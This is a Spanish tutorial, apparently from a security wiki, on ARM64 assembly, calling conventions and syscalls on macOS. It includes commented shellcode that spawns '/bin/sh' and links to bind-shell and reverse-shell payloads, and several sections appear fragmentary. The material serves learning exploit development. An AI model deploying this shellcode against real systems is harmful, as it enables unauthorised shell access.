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ARM64, también conocido como ARMv8-A, es una arquitectura de procesador de 64 bits utilizada en varios tipos de dispositivos, incluyendo teléfonos inteligentes, tabletas, servidores e incluso algunas computadoras personales de alta gama (macOS). Es un producto de ARM Holdings, una empresa conocida por sus diseños de procesadores eficientes en energía.
ARM64 tiene **31 registros de propósito general**, etiquetados como `x0` a `x30`. Cada uno puede almacenar un valor de **64 bits** (8 bytes). Para operaciones que requieren solo valores de 32 bits, los mismos registros se pueden acceder en un modo de 32 bits utilizando los nombres w0 a w30.
8.**`x30`** - Registro de enlace. Contiene la dirección de retorno cuando se ejecuta una instrucción `BL` (Branch with Link) o `BLR` (Branch with Link to Register).
La convención de llamada de ARM64 especifica que los **primeros ocho parámetros** de una función se pasan en los registros **`x0` a `x7`**. Los **parámetros adicionales** se pasan en la **pila**. El valor de **retorno** se pasa de vuelta en el registro **`x0`**, o en **`x1`** también **si es de 128 bits**. Los registros **`x19`** a **`x30`** y **`sp`** deben ser **preservados** en las llamadas a funciones.
Al leer una función en ensamblador, busca el **prólogo y epílogo de la función**. El **prólogo** generalmente implica **guardar el puntero de marco (`x29`)**, **configurar un nuevo puntero de marco** y **asignar espacio en la pila**. El **epílogo** generalmente implica **restaurar el puntero de marco guardado** y **retornar** de la función.
Swift tiene su propia **convención de llamada** que se puede encontrar en [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)
Las instrucciones de ARM64 generalmente tienen el **formato `opcode dst, src1, src2`**, donde **`opcode`** es la **operación** que se va a realizar (como `add`, `sub`, `mov`, etc.), **`dst`** es el registro **destino** donde se almacenará el resultado, y **`src1`** y **`src2`** son los registros **fuente**. También se pueden utilizar valores inmediatos en lugar de registros fuente.
* Ejemplo: `mov x0, x1` — Esto mueve el valor de `x1` a `x0`.
* **`ldr`**: **Cargar** un valor de **memoria** en un **registro**.
* Ejemplo: `ldr x0, [x1]` — Esto carga un valor desde la ubicación de memoria apuntada por `x1` en `x0`.
* **`str`**: **Almacenar** un valor de un **registro** en **memoria**.
* Ejemplo: `str x0, [x1]` — Esto almacena el valor en `x0` en la ubicación de memoria apuntada por `x1`.
* **`ldp`**: **Cargar Par de Registros**. Esta instrucción **carga dos registros** desde **ubicaciones de memoria consecutivas**. La dirección de memoria generalmente se forma sumando un desplazamiento al valor en otro registro.
* Ejemplo: `ldp x0, x1, [x2]` — Esto carga `x0` y `x1` desde las ubicaciones de memoria en `x2` y `x2 + 8`, respectivamente.
* **`stp`**: **Almacenar Par de Registros**. Esta instrucción **almacena dos registros** en **ubicaciones de memoria consecutivas**. La dirección de memoria generalmente se forma sumando un desplazamiento al valor en otro registro.
* Ejemplo: `stp x0, x1, [x2]` — Esto almacena `x0` y `x1` en las ubicaciones de memoria en `x2` y `x2 + 8`, respectivamente.
* **`add`**: **Sumar** los valores de dos registros y almacenar el resultado en un registro.
* Ejemplo: `add x0, x1, x2` — Esto suma los valores en `x1` y `x2` y almacena el resultado en `x0`.
* **`blr`**: **Branch with Link to Register**, se utiliza para **llamar** a una **subrutina** donde el destino está **especificado** en un **registro**. Almacena la dirección de retorno en `x30`.
* **`b.eq`**: **Branch if equal**, basado en la instrucción `cmp` anterior.
* Ejemplo: `b.eq label` — Si la instrucción `cmp` anterior encontró dos valores iguales, esto salta a `label`.
* **`b.ne`**: **Branch if Not Equal**. Esta instrucción verifica las banderas de condición (que fueron establecidas por una instrucción de comparación anterior), y si los valores comparados no son iguales, salta a una etiqueta o dirección.
* **`cbnz`**: **Compare and Branch on Non-Zero**. Esta instrucción compara un registro con cero, y si no son iguales, salta a una etiqueta o dirección.
* Ejemplo: `ldrsw x0, [x1]` — Esto carga un valor firmado de 32 bits desde la ubicación de memoria apuntada por `x1`, lo extiende a 64 bits y lo almacena en `x0`.
* **`svc`** : Realiza una **llamada al sistema**. Significa "Supervisor Call". Cuando el procesador ejecuta esta instrucción, **cambia del modo de usuario al modo kernel** y salta a una ubicación específica en la memoria donde se encuentra el código de manejo de llamadas al sistema del kernel.
Consulta [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master). Las llamadas al sistema BSD tendrán **x16 > 0**.
### Trampas de Mach
Consulta [**syscall\_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall\_sw.c.auto.html). Las trampas de Mach tendrán **x16 < 0**, por lo que debes llamar a los números de la lista anterior con un **signo menos**: **`_kernelrpc_mach_vm_allocate_trap`** es **`-10`**.
También puedes consultar **`libsystem_kernel.dylib`** en un desensamblador para encontrar cómo llamar a estas llamadas al sistema (y a las llamadas al sistema BSD).
A veces es más fácil verificar el código **descompilado** de **`libsystem_kernel.dylib`** que verificar el **código fuente** porque el código de varias llamadas al sistema (BSD y Mach) se genera mediante scripts (verificar comentarios en el código fuente), mientras que en la dylib se puede encontrar qué se está llamando.
adr x0, sh_path ; This is the address of "/bin/sh".
mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve.
mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.
mov x16, #59 ; Move the execve syscall number (59) into x16.
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
; We are going to build the string "/bin/sh" and place it on the stack.
mov x1, #0x622F ; Move the lower half of "/bi" into x1. 0x62 = 'b', 0x2F = '/'.
movk x1, #0x6E69, lsl #16 ; Move the next half of "/bin" into x1, shifted left by 16. 0x6E = 'n', 0x69 = 'i'.
movk x1, #0x732F, lsl #32 ; Move the first half of "/sh" into x1, shifted left by 32. 0x73 = 's', 0x2F = '/'.
movk x1, #0x68, lsl #48 ; Move the last part of "/sh" into x1, shifted left by 48. 0x68 = 'h'.
str x1, [sp, #-8] ; Store the value of x1 (the "/bin/sh" string) at the location `sp - 8`.
; Prepare arguments for the execve syscall.
mov x1, #8 ; Set x1 to 8.
sub x0, sp, x1 ; Subtract x1 (8) from the stack pointer (sp) and store the result in x0. This is the address of "/bin/sh" string on the stack.
mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve.
mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.
; Make the syscall.
mov x16, #59 ; Move the execve syscall number (59) into x16.
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
El objetivo es ejecutar `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, por lo que el segundo argumento (x1) es un array de parámetros (que en memoria significa una pila de direcciones).
Shell de conexión desde [https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s) en **puerto 4444**.
Desde [https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s), revshell a **127.0.0.1:4444**
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